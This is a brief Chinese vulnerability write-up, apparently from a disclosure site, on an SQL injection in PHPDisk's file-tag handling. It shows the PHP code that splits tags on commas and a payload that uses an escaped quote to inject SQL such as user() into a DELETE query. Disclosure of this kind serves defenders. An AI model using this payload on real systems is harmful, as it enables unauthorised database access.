phpdisk 注入一枚

漏洞作者: ′king

17214843a6ae6361fcb93f9e23eb3a9b2d866c6a

 

172149075a7f576f8aa45cb2a6eda51aa32cc017

 

发现竟然报错了。

 

看了一下所执行的语句

delete from pd_file2tag where file_id='1' and tag_name not in ('asd\')

因为phpdisk有全局转义 这样就知道肯定是有个过滤函数 把单引号替换空了

就留下了转义符 但是只有一个参数可控 能引入单引号也没啥用啊。

在modules/public.inc.php中

[php]

$tag_arr = explode(',',$tags);

if(count($tag_arr) >5){

$error = true;

$sysmsg[] = __('too_many_tags');

}

}

[/php]

[php]

if($settings['open_tag']){

make_tags($tags,$tag_arr,$file_id);

}

[/php]

可以看到 是用逗号来切割的 然后就能引入多个参数了。

172200078d5a10b07dd5107b0010f9cc9495f835

 

delete from pd_file2tag where file_id='1' and tag_name not in ('asd\','xxxxxxxxxxxxx')

此时就有两个参数了。

然后就

delete from pd_file2tag where file_id='1' and tag_name not in ('asd\',',user() and '') 之类的了。

 

发表评论